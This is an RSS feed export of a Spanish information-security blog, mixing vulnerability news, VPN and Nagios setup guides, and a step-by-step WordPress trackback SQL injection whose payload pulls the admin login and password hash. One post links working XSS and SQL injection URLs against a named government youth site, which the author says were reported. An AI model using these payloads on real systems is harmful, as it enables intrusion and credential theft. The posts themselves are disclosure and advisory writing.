<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" version="2.0">

<channel>
	<title>Erewhon Network - Information Security Blog</title>
	
	<link>http://erewhon-network.net/wordpress</link>
	<description />
	<lastBuildDate>Tue, 08 Nov 2011 16:33:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Erewhon-network" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="erewhon-network" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">Erewhon-network</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Lectura de ficheros arbitrarios en PhpMyAdmin</title>
		<link>http://erewhon-network.net/wordpress/?p=551</link>
		<comments>http://erewhon-network.net/wordpress/?p=551#comments</comments>
		<pubDate>Mon, 07 Nov 2011 16:24:26 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[Una al dia]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=551</guid>
		<description><![CDATA[Se ha publicado una vulnerabilidad que afecta a PhpMyAdmin y que podría permitir a un atacante con permisos para la creación de bases de datos, leer ficheros arbitrarios del servidor donde se aloja la aplicación. El fallo se localizaría en la función &#8216;simplexml_load_string&#8217; del fichero &#8216;libraries/import/xml.php&#8217;. Un atacante remoto autenticado podría obtener información sensible a [...]]]></description>
			<content:encoded><![CDATA[<p>Se ha publicado una vulnerabilidad que afecta a PhpMyAdmin y que podría permitir a un atacante con permisos para la creación de bases de datos, leer ficheros arbitrarios del servidor donde se aloja la aplicación.</p>
<p>El fallo se localizaría en la función &#8216;simplexml_load_string&#8217; del fichero &#8216;libraries/import/xml.php&#8217;. Un atacante remoto autenticado podría obtener información sensible a través de un fichero XML especialmente manipulado.</p>
<p>Esta vulnerabilidad ha sido descubierta por 80sec y publicada a través de la web china de recopilación de exploits, wooyun.org</p>
<p>Junto con el advisory se ha hecho pública una prueba de concepto que demuestra la vulnerabilidad. Se trata de un fichero XML para poder aprovechar el fallo, en el que en la etiqueta &#8220;ENTITY&#8221; se especifica la ruta al fichero al que se desea tener acceso.</p>
<p>Para conseguirlo, el atacante debería importar el archivo XML proporcionado por la prueba de concepto y esto mostraría el contenido del fichero del servidor elegido dentro del mensaje de error que devuelve.</p>
<p><span id="more-551"></span><br />
<img src="http://erewhon-network.net/images/una_al_dia/phpmyadmin.png" alt="php my admin"/></p>
<p>Es importante destacar que el atacante debe estar autenticado en PhpMyAdmin para poder realizar importación de ficheros y por tanto aprovechar el fallo. También necesitaría permisos para la creación de bases de datos. Este escenario es especialmente crítico en sistemas de hosting compartido.</p>
<p>El problema está confirmado en la versión 3.4.7, aunque posiblemente afecte a otras. No se ha publicado solución oficial aún.</p>
<p>Más información:</p>
<p>Fuente original<br />
<a hreg="http://www.80sec.com/xml-entity-injection.html"> 80sec.com </a></p>
<p>Google translate<br />
<a href="http://translate.googleusercontent.com/translate_c?hl=es&#038;rurl=translate.google.com&#038;sl=zh-CN&#038;tl=en&#038;u=http://www.80sec.com/xml-entity-injection.html&#038;usg=ALkJrhi4vRXx14utOW5uHqSnuv6_e4x3FQ">Google translation</a></p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=551</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Elevación de privilegios en Apache</title>
		<link>http://erewhon-network.net/wordpress/?p=559</link>
		<comments>http://erewhon-network.net/wordpress/?p=559#comments</comments>
		<pubDate>Thu, 03 Nov 2011 16:27:15 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[Una al dia]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=559</guid>
		<description><![CDATA[Se ha publicado a través de la página web http://www.halfdog.net/ una vulnerabilidad que afectaría a todas las versiones de Apache hasta la versión 2.2.20 y que permitiría elevar privilegios a un atacante con cuenta en la máquina. La vulnerabilidad se encontraría en la función &#8216;ap_pregsub&#8217; del fichero &#8216;server/util.c&#8217; al ser llamada por el módulo &#8216;mod-setenvif&#8217;. [...]]]></description>
			<content:encoded><![CDATA[<p>Se ha publicado a través de la página web http://www.halfdog.net/ una vulnerabilidad que afectaría a todas las versiones de Apache hasta la versión 2.2.20 y que permitiría elevar privilegios a un atacante con cuenta en la máquina.</p>
<p>La vulnerabilidad se encontraría en la función &#8216;ap_pregsub&#8217; del fichero &#8216;server/util.c&#8217; al ser llamada por el módulo &#8216;mod-setenvif&#8217;. Causaría un desbordamiento de enteros por el que un atacante local podría ejecutar código empleando para ello un fichero .htaccess especialmente manipulado. Los privilegios bajo los que se ejecutaría el código serían los mismos que el servidor Apache (habitualmente &#8220;nobody&#8221;, &#8220;www&#8221;, etc.). En entornos de hosting compartido, esto podría ocasionar numerosos problemas.</p>
<p>Con el ataque se podrían conseguir diferentes impactos: desde ralentizar el servidor y provocar una denegación de servicio, hasta la ejecución de código con los privilegios del servidor.</p>
<p>El atacante debe tener disponer de los permisos  necesarios para crear un fichero .htaccess especialmente manipulado y el módulo mod_setenvif debe estar siendo usado por Apache.</p>
<p>No existe una solución oficial todavía. Sí se podrían aplicar dos soluciones temporales que de alguna forma mitigarían el impacto: La primera de ellas sería deshabilitar el módulo implicado. La segunda pasaría por imposibilitar el uso de ficheros .htaccess en aquellos directorios en los que los usuarios tuviesen permisos de escritura empleando para ello la secuencia &#8220;AllowOverride None&#8221;.</p>
<p>Más información:</p>
<p>Integer Overflow in Apache ap_pregsub via mod-setenvif<br />
<a href="http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/"> halfdog.net </a></p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=559</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Múltiples vulnerabilidades en la suite OmniTouch Instant Communication</title>
		<link>http://erewhon-network.net/wordpress/?p=561</link>
		<comments>http://erewhon-network.net/wordpress/?p=561#comments</comments>
		<pubDate>Mon, 31 Oct 2011 16:29:45 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[Una al dia]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=561</guid>
		<description><![CDATA[Tobias Glemser, investigador de la empresa Tele-consulting, ha descubierto diferentes vulnerabilidades en la suite OmniTouch de Alcatel-Lucent. El sistema ICS de Alcatel ofrece servicios de comunicación unificados a través de diferentes medios de acceso tales como dispositivos móviles y clientes web. Destacar las características del cliente web webICS que permitiría servicios finales al usuario tales [...]]]></description>
			<content:encoded><![CDATA[<p>Tobias Glemser, investigador de la empresa Tele-consulting, ha descubierto diferentes vulnerabilidades en la suite OmniTouch de Alcatel-Lucent.</p>
<p>El sistema ICS de Alcatel ofrece servicios de comunicación unificados a través de diferentes medios de acceso tales como dispositivos móviles y clientes web. Destacar las características del cliente web webICS que permitiría servicios finales al usuario tales como acceso a directorios personales y globales, redirección de llamadas&#8230;</p>
<p>Es precisamente en este cliente web donde se encontrarían las vulnerabilidades descubiertas que permitirían, entre otros, ataques de cross site scripting (XSS), tanto persistentes como no, así como cross site request forgery (CSRF).</p>
<p>Uno de los posibles ataques que se podrían realizar sería el cambio de la configuración del teléfono del usuario final causando una redirección de llamada a través de un XSS almacenado en la libreta de direcciones.</p>
<p>Las vulnerabilidades tienen asignados los siguientes CVE: CVE-2011-4058 y CVE-2011-4059. Los scripts vulnerables a CSRF se encontrarían en la ruta &#8220;/websoftphone/servlet/DispPhonSet&#8221; y &#8220;/websoftphone/servlet/DispRTC&#8221;. El ataque de XSS almacenado sería posible a través de todos los campos en los que se puedan insertar datos de la libreta de direcciones y el ataque XSS reflejado sería posible realizarlo a través de diferentes parámetros localizados principalmente en ficheros de la ruta &#8220;websoftphone/jsp/*&#8221;.</p>
<p>Alcatel-Lucent ha publicado un hotfix que corregiría estas vulnerabilidades.</p>
<p>Más información:</p>
<p>TC-SA-2011-01: Multiple vulnerabilities in OmniTouch Instant<br />
Communication Suite<br />
<a href = "http://www.tele-consulting.com/advisories/TC-SA-2011-01.txt">TC-SA2011-01</a></p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=561</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creación de VPN entre Fortigate VPN y Cisco linksys RV042</title>
		<link>http://erewhon-network.net/wordpress/?p=544</link>
		<comments>http://erewhon-network.net/wordpress/?p=544#comments</comments>
		<pubDate>Thu, 27 Oct 2011 17:24:45 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=544</guid>
		<description><![CDATA[Aqui os traigo gracias a Miguel, un antiguo compañero de curro, la configuración necesaria para poder hacer una conexión VPN entre un Fortigate y un Cisco Linksys RV042. Diagrama de red: Fortigate (H.Q.)&#8212; INTERNET &#8212; Linksys (Client) Configuración en el linksys: Name tunnel: linksysVpn Interface: wan1 enable: active Local ip: Ip pública del linksys Subnet: [...]]]></description>
			<content:encoded><![CDATA[<p>Aqui os traigo gracias a Miguel, un antiguo compañero de curro, la configuración necesaria para poder hacer una conexión VPN entre un Fortigate y un Cisco Linksys RV042.</p>
<p>Diagrama de red:</p>
<p>Fortigate (H.Q.)&#8212; INTERNET &#8212; Linksys (Client)</p>
<p>Configuración en el linksys:<br />
Name tunnel: linksysVpn<br />
Interface: wan1<br />
enable: active<br />
Local ip: Ip pública del linksys<br />
   Subnet: red del linksys (192.168.0.0/24)<br />
Remote ip: ip publica del fortigate<br />
   Subnet: red fortigate (192.168.1.0/24)<br />
Ipsec Phase1: IKE with Preshared key<br />
Phase1 DH Group: Group2<br />
Phase1 Encryption: 3DES-SHA1<br />
Life time: 3600<br />
Phase2 Encryption: 3DES-SHA1<br />
Life time: 3600<br />
Presharekey: ***********<br />
Aggressive Mode: Activate</p>
<p><span id="more-544"></span></p>
<p>Configuración en el Fortigate:<br />
En la Phase1:<br />
Name:linksysVpn (El mismo que el linksys)<br />
Remote GAteway: Dial user<br />
Interface: WAN1<br />
Aggressive mode enable<br />
Presharekey: *******<br />
Encryption: 3DES-SHA1<br />
Phase1 DH Group: Group2<br />
Life time: 3600</p>
<p>En la Phase2:<br />
Encryption: 3DES-SHA1<br />
Life time: 3600</p>
<p>Estas son las reglas a aplicar en el Firewall del Fortigate:</p>
<p>Source Interface: internal<br />
Source addres: red lan<br />
Destination Interface: WAN1<br />
Destination address: La red del linksys ( creamos una address)<br />
Service: ANY<br />
Action: IPSEC<br />
VPN Tunnel: linksysVpn<br />
Allow inbonund: enable<br />
Allow outbound:enable</p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=544</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evitar la contraseña de Ipad 2 con el Smart Cover</title>
		<link>http://erewhon-network.net/wordpress/?p=563</link>
		<comments>http://erewhon-network.net/wordpress/?p=563#comments</comments>
		<pubDate>Tue, 25 Oct 2011 15:32:40 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=563</guid>
		<description><![CDATA[Un fallo en los Ipad 2 que dispongan de Smart Cover, permite eludir la contraseña de bloqueo y acceder a las aplicaciones del dispositivo. Smart Cover es un accesorio exclusivo de Ipad2 entre cuyas particularidades se encuentran la posibilidad de activar el dispositivo estando en standby sin necesidad de apretar el botón de encendido. El [...]]]></description>
			<content:encoded><![CDATA[<p>Un fallo en los Ipad 2 que dispongan de Smart Cover, permite eludir la contraseña de bloqueo y acceder a las aplicaciones del dispositivo.</p>
<p>Smart Cover es un accesorio exclusivo de Ipad2 entre cuyas particularidades se encuentran la posibilidad de activar el dispositivo estando en standby sin necesidad de apretar el botón de encendido.</p>
<p>El fallo encontrado, permitiría a un atacante con acceso físico al aparato, acceder sin necesidad de teclear la contraseña. Parece que el atacante no tendría acceso completo, sino que solamente podría acceder a aquello que se encontraba en ejecución antes de pasar al estado de standby.</p>
<p>Este fallo se ha corroborado en la versión IOS 5, y quizás funcione en la rama anterior. Por ahora, la forma de corregir temporalmente este fallo pasaría por la desactivación del encendido automático por parte del dispositivo Smart Cover.</p>
<p>Los pasos para probar el error son sencillos:</p>
<p>* Bloquear el dispositivo.<br />
* Mantener presionado el botón de apagado hasta que muestre el deslizador de apagado.<br />
* Cerrar el Smart Cover.<br />
* Abrir el Smart Cover.<br />
* Presionar el botón de cancelar</p>
<p>Se ha publicado un vídeo demostrando la prueba de concepto. Se encuentra en el apartado de más información.</p>
<p>Más Información:</p>
<p>Anyone with a Smart Cover can break into your iPad 2<br />
<a href="http://9to5mac.com/2011/10/20/anyone-with-a-smart-cover-can-break-into-your-ipad-2/">9to5mac.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=563</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalación de Nagios 3.0 en Debian 6.0 -Parte 1-</title>
		<link>http://erewhon-network.net/wordpress/?p=503</link>
		<comments>http://erewhon-network.net/wordpress/?p=503#comments</comments>
		<pubDate>Wed, 09 Feb 2011 18:05:59 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Administracion de sistemas]]></category>
		<category><![CDATA[Nagios]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=503</guid>
		<description><![CDATA[Que es Nagios: Nagios es un sistema de monitorización de redes de código abierto ampliamente utilizado, que vigila los equipos (hardware) y servicios (software) que se especifiquen, alertando cuando el comportamiento de los mismos no sea el deseado. Entre sus características principales figuran la monitorización de servicios de red (SMTP, POP3, HTTP, SNMP&#8230;), la monitorización [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Que es Nagios:</strong></p>
<p>Nagios es un sistema de monitorización de redes de código abierto ampliamente utilizado, que vigila los equipos (hardware) y servicios (software) que se especifiquen, alertando cuando el comportamiento de los mismos no sea el deseado. Entre sus características principales figuran la monitorización de servicios de red (SMTP, POP3, HTTP, SNMP&#8230;), la monitorización de los recursos de sistemas hardware (carga del procesador, uso de los discos, memoria, estado de los puertos&#8230;), independencia de sistemas operativos, posibilidad de monitorización remota mediante túneles SSL cifrados o SSH, y la posibilidad de programar plugins específicos para nuevos sistemas.</p>
<p>Se trata de un software que proporciona una gran versatilidad para consultar prácticamente cualquier parámetro de interés de un sistema, y genera alertas, que pueden ser recibidas por los responsables correspondientes mediante (entre otros medios) correo electrónico y mensajes SMS, cuando estos parámetros exceden de los márgenes definidos por el administrador de red.</p>
<p><strong>Requisitos:</strong></p>
<p>Vamos a partir de una instalación limpia de Debian Linux 6.0 realizada a través de internet con la siguiente iso <a href="http://cdimage.debian.org/debian-cd/6.0.0/i386/iso-cd/debian-6.0.0-i386-netinst.iso">Debian netinstall </a>.</p>
<p>Por comodidad, una vez instalado el sistema, se instalará vim:</p>
<blockquote><p>
apt-get install vim
</p></blockquote>
<p><strong>Instalación de Nagios 3.0</strong><br />
En este punto nos encontramos con 2 metodos posibles de instalación, la compilación de Nagios desde las fuentes o bien utilizar la herramienta apt para instalar el correspondiente paquete .deb, en este caso, por comodidad emplearemos apt.</p>
<blockquote><p>
apt-get install nagios3
</p></blockquote>
<p>Junto Nagios se instalarán una serie de paquetes necesarios para el correcto funcionamiento de Nagios, entre ellos el servidor web apache2, php5,&#8230;</p>
<p>Durante el proceso de instalación, nos pedirá la contraseña que le queremos asignar al usuario nagiosadmin, usuario que se crea por defecto para el acceso a nagios a través de web.</p>
<p>Si todo ha ido bien, si abrimos nuestro navegador web y en la barra de direcciones ponemos http://<ip del host nagios>/nagios3 nos debería pedír usuario y contraseña para el acceso a nagios, por defecto user:nagiosadmin pass:<contraseña asignada durante el proceso de instalación>. Una vez introducidos nos mostrará la pantalla principal de nagios.</p>
<p>Por defecto, Nagios se monitoriza a si mismo (carga actual, espacio en disco, total de procesos y usuarios actuales).</p>
<p>A partir de este punto pasaremos a realizar la configuración de nagios para una red sencilla compuesta por 3 hosts (servidor nagios, maquina linux y máquina windows) así como un router sencillo.</p>
<p><span id="more-503"></span></p>
<p><strong>Un poco de teoría</strong><br />
Para poder movernos bien por nagios, es recomendable saber la estructura de directorios creada por la instalación. Esta estructura por supuesto puede ser modificada.</p>
<p>/etc/nagios3  -> Contiene archivos de configuración globales.<br />
/etc/nagios3/conf.d  -> Contiene archivos de configuraciones específicas de los dispositivos y servicios monitorizados.<br />
/usr/lib/nagios/plugins  -> Contiene los archivos binarios encargados de monitorizar protocolos (FTP, HTTP, SSH, etc.)<br />
/usr/share/doc/nagios*  -> Contiene documentación y ejemplos sobre el uso de los plugins.<br />
/usr/share/nagios/htdocs  -> Contiene los archivos .php utilizados por el servidor web.<br />
/usr/share/nagios/htdocs/images/logos  -> Contiene imagenes para identificar los dispositivos en un mapa.<br />
/var/log/nagios3  -> Contiene el registro de las alertas detectadas por Nagios.</p>
<p>En la siguiente parte, pasaremos a configurar los dispositivos y una monitorización sencilla de diferentes servicios.</p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=503</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL injection a través de do_trackbacks() en WordPress</title>
		<link>http://erewhon-network.net/wordpress/?p=475</link>
		<comments>http://erewhon-network.net/wordpress/?p=475#comments</comments>
		<pubDate>Sun, 12 Dec 2010 13:26:26 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=475</guid>
		<description><![CDATA[El pasado día 1 de Diciembre un hacker conocido por el nick M4g hizo público un fallo de seguridad en wordpress a través del cual un atacante remoto con permisos publish_posts y edit_published_posts podría realizar consultas sql arbitrarias y de esta forma obtener datos de la base de datos empleada por wordpress. WordPress es a [...]]]></description>
			<content:encoded><![CDATA[<p>El pasado día 1 de Diciembre un hacker conocido por el nick M4g hizo público un fallo de seguridad en wordpress a través del cual un atacante remoto con permisos publish_posts  y edit_published_posts podría realizar consultas sql arbitrarias y de esta forma obtener datos de la base de datos empleada por wordpress.</p>
<p>WordPress es a día de hoy, uno de los sistemas de gestión de contenidos enfocado a la creación de blogs más extendido en el mundo, realizando una búsqueda en google por “powered by wordpress”, nos devuelve unos 108.000.000 resultados.</p>
<p>Si editamos el fichero /wp-includes/comment.php, encontramos el siguiente código:</p>
<pre class="brush: cpp; title: ; notranslate">

function do_trackbacks($post_id) {
    global $wpdb;

    $post = $wpdb-&gt;get_row( $wpdb-&gt;prepare(&quot;SELECT * FROM $wpdb-&gt;posts WHERE ID = %d&quot;, $post_id) );
    $to_ping = get_to_ping($post_id);
    $pinged  = get_pung($post_id);
    if ( empty($to_ping) ) {
        $wpdb-&gt;update($wpdb-&gt;posts, array('to_ping' =&gt; ''), array('ID' =&gt; $post_id) );
        return;
    }

    if ( empty($post-&gt;post_excerpt) )
        $excerpt = apply_filters('the_content', $post-&gt;post_content);
    else
        $excerpt = apply_filters('the_excerpt', $post-&gt;post_excerpt);
    $excerpt = str_replace(']]&gt;', ']]&gt;', $excerpt);
    $excerpt = wp_html_excerpt($excerpt, 252) . '...';

    $post_title = apply_filters('the_title', $post-&gt;post_title);
    $post_title = strip_tags($post_title);

    if ( $to_ping ) {
        foreach ( (array) $to_ping as $tb_ping ) {
            $tb_ping = trim($tb_ping);
            if ( !in_array($tb_ping, $pinged) ) {
                trackback($tb_ping, $post_title, $excerpt, $post_id);
                $pinged[] = $tb_ping;
            } else {
                $wpdb-&gt;query( $wpdb-&gt;prepare(&quot;UPDATE $wpdb-&gt;posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d&quot;, $post_id) );
            }
        }
    }
}
</pre>
<p>Si nos fijamos en la línea 29, se hace uso de la variable to_ping. Dicha variable es empleada sin pasar ningún tipo de filtrado y es la que se emplea para realizar la inyección de código SQL.</p>
<p><strong>Explotación:</strong><br />
<span id="more-475"></span><br />
Para poder llevar a cabo la inserción de código, el atacante debe cumplir dos requisitos, debe tener tanto permisos publish_posts así como permisos edit_published_posts, en definitiva, permisos otorgados a usuarios del grupo autor.</p>
<p>El primer paso es crear un nuevo post, no importan ni el título ni el contenido del mismo, y añadiríamos en el campo “Send trackbacks to:” la sentencia SQL con la siguiente estructura:</p>
<blockquote><p>
AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8217;
</p></blockquote>
<p> Y la publicaríamos. Tendremos que esperar un poco a que wp_cron.php procese el trackback. La función get_to_ping informa que el siguiente trackback tiene que ser procesado.</p>
<blockquote><p>
AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8217;
</p></blockquote>
<p>Ahora editamos el post y duplicamos el contenido del campo “send trackbacks to:”:</p>
<blockquote><p>
AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8217;<br />
AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8217;
</p></blockquote>
<p>Haciendo que la función get_to_ping informe que los siguientes trackbacks tienen que ser procesados:</p>
<blockquote><p>
AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8217;<br />
AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8217;
</p></blockquote>
<p>El registro de consultas muestra que wordpress ejecuta la sentencia SQL de la siguiente forma:</p>
<blockquote><p>
UPDATE wp_posts<br />
SET to_ping = TRIM(REPLACE(to_ping, &#8216;AAA&#8217;,&#8221;)),post_title=(select/**/concat(user_login,&#8217;|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,&#8221;, &#8221;))<br />
WHERE ID = xx
</p></blockquote>
<p>Volvemos a esperar un poco para que se ejecute wp_cron.php y refrescamos la página, de esta forma veremos el resultado de nuestra consulta en el campo del título del post.</p>
<p>A fecha de hoy, wordpress ya ha corregido esta vulnerabilidad en su nueva versión 3.0.2 por lo que es recomendable la actualización de wordpress.</p>
<p>Más información:<br />
<a href="http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/ ">http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/ </a></p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=475</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cross Site Scripting y SQL Injection en gipuzkoagazteria.net</title>
		<link>http://erewhon-network.net/wordpress/?p=454</link>
		<comments>http://erewhon-network.net/wordpress/?p=454#comments</comments>
		<pubDate>Tue, 07 Dec 2010 16:33:06 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=454</guid>
		<description><![CDATA[Tras leer la siguiente noticia Ataque informático contra una web de la Diputación de Gipuzkoa me puse a investigar como se habia realizado el defacement y descubrí, en un primer y rápido analisis, que la página web es vulnerable tanto a cross site scripting como a sql injection informando de ello a través de correo [...]]]></description>
			<content:encoded><![CDATA[<p>Tras leer la siguiente noticia <a href="http://www.diariovasco.com/20101205/local/diputacion-gipuzkoa-denuncia-ataque-201012051810.html">Ataque informático contra una web de la Diputación de Gipuzkoa</a> me puse a investigar como se habia realizado el defacement y descubrí, en un primer y rápido analisis, que la página web es vulnerable tanto a cross site scripting como a sql injection informando de ello a través de correo electrónico a los programadores de la misma.</p>
<p><strong>XSS:</strong><a href="http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.gipuzkoagazteria.net/bilaketa.php?hitza=asdfg%27%22/%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E&#038;buscar=BILATU&#038;hizkntz=1">XSS</a><br />
<center><br />
<a title="XSS" href="http://www.erewhon-network.net/images/gipuzkoagazteria.net_xss_sql_injection/xss.jpg" rel="lightbox[454]"><img src="http://www.erewhon-network.net/images/gipuzkoagazteria.net_xss_sql_injection/xss.jpg" width="437" height="400" /></a><br />
</center><br />
<br />
<strong>SQL Injection:</strong><a href="http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.gipuzkoagazteria.net/nodoa.php?nd=-1%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/*">SQL Injection</a><br />
<center><br />
<a title="XSS" href="http://www.erewhon-network.net/images/gipuzkoagazteria.net_xss_sql_injection/sql_injection.jpg" rel="lightbox[454]"><img src="http://www.erewhon-network.net/images/gipuzkoagazteria.net_xss_sql_injection/sql_injection.jpg" width="437" height="400" /></a><br />
</center><br />
<br />
<strong>Timeline:</strong></p>
<ul>
<li><strong>05/12/2010:</strong>Lectura de noticia y análisis preliminar</li>
<li><strong>05/12/2010:</strong>Se informa a a través de correo electrónico</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=454</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Proyecto ProFTPD comprometido y servidor troyanizado</title>
		<link>http://erewhon-network.net/wordpress/?p=434</link>
		<comments>http://erewhon-network.net/wordpress/?p=434#comments</comments>
		<pubDate>Fri, 03 Dec 2010 18:14:11 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[Una al dia]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=434</guid>
		<description><![CDATA[Este pasado domingo 28 de noviembre el servidor principal de distribución de ficheros del proyecto ProFTPD se ha visto comprometido y la versión 1.3.3c reemplazada por otra con una puerta trasera. ProFTP es un popular servidor FTP promocionado como estable y seguro, ampliamente configurable y de diseño modular, permitiendo de esta forma escribir extensiones como [...]]]></description>
			<content:encoded><![CDATA[<p>Este pasado domingo 28 de noviembre el servidor principal de distribución de ficheros del proyecto ProFTPD se ha visto comprometido y la versión 1.3.3c reemplazada por otra con una puerta trasera.</p>
<p>ProFTP es un popular servidor FTP promocionado como estable y seguro, ampliamente configurable y de diseño modular, permitiendo de esta forma escribir extensiones como cifrado SSL/TLS, RADIUS, LDAP o SQL.<br />
Según parece, el atacante empleó para acceder al servidor una vulnerabilidad no corregida en el propio demonio FTP. De esta forma pudo reemplazar los ficheros fuente para la versión ProFTPD 1.3.3c con una versión modificada conteniendo una puerta trasera.</p>
<p>Todavía no está claro qué vulnerabilidad usaron los atacantes para acceder. Si fuera un fallo conocido, esto indicaría que ProFTPD no ha parcheado sus propios servidores a tiempo, dando un pésimo ejemplo. Si fuera desconocida y solo la pudiesen utilizar los atacantes, no tendrían necesidad de troyanizar la distribución central de ProFTPD, puesto que ese fallo ya les permitiría de por sí tener acceso a los servidores. Habrá que esperar aclaraciones.</p>
<p>La modificación no autorizada del código fuente fue advertida por Jeroen Geilman el miércoles 1 de diciembre y solucionada posteriormente.</p>
<p>El servidor actúa como site principal para el proyecto ProFTPD así como servidor de distribución rsync para todos los servidores espejo. Esto implica que cualquier persona que se haya descargado la versión ProFTPD 1.3.3c de uno de los espejos oficiales entre los días 28 de noviembre y 1 de diciembre están afectados por este problema.</p>
<p>La puerta trasera introducida por los atacantes permiten acceso remoto con permisos de root a usuarios no autenticados en los sistemas que estén ejecutando la versión modificada del demonio ProFTPD dándole al atacante control total sobre el sistema.</p>
